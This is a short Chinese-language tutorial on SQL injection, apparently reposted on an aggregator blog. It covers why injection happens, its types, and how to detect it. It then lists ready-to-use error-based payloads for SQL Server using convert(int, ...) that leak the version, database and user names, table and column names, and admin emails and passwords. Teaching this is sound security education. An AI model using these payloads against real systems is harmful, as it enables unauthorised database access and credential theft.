mysql 永真_sql注入
Sql注入
Sql注入成因:
1)轉(zhuǎn)義字符處理不當(如’,--,/**/,會截斷原有的語句,執(zhí)行新語句);
2)類型處理不當(如接受的是整型的參數(shù),并沒有校驗也可以接受字符型數(shù)據(jù))
3)查詢語句的組裝不當
4)錯誤處理不當
5)權(quán)限配置不當(可以執(zhí)行高權(quán)限語句)
Sql注入類型:
從參數(shù)的角度:基于字符型和數(shù)字型的
基于錯誤的(基于響應(yīng)時間的盲注,基于相應(yīng)的注入)可以直觀的看到我們查詢結(jié)果的一類,看不到查詢結(jié)果就是盲注
識別sql注入:
1.永真和永假表達式: or 1=1—
2.語句執(zhí)行的報錯信息:Having(聚合函數(shù))若select字段沒有包含在having里面,則會報錯,證明注入成功
3.特定數(shù)據(jù)的連接符:(根據(jù)不同數(shù)據(jù)庫的連接符不相同)
i.Sqlsever(+連接)1’or ‘a(chǎn)b’=’a’+’b’—(永真)
ii.Mysql(空格連接)1’or ‘a(chǎn)b’=’a’’b’ (永真)
iii.奧瑞考(||連接)1’or ‘a(chǎn)b’=’a’||’b’
基于錯誤的sql注入基本原理:
1.判斷;2.判斷數(shù)據(jù)庫
Sqlsever數(shù)據(jù)庫中convert是一個進行類型轉(zhuǎn)換的函數(shù)
1=convert(int,@@version)--
拆解庫名:1=convert(int,db_name())--
得到當前用戶名:1=convert(int,user_name())—
拆解表名:
1=convert(int,(select top 1 table_name from information_schema_tables))—
1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次選中的表名,就可以得到第二個表名,以此類推
拆解列名:
1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—
1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘a(chǎn)dminsign_id’)))—
得到字段數(shù)據(jù):
1=convert(int,(select top 1 email_id from pp_admin_tb))—
得到字段數(shù)據(jù);
1=convert(int,(select top 1 password from pp_admin_tb))—
總結(jié)
以上是生活随笔為你收集整理的mysql 永真_sql注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: php layout布局文件,layou
- 下一篇: linux cmake编译源码,linu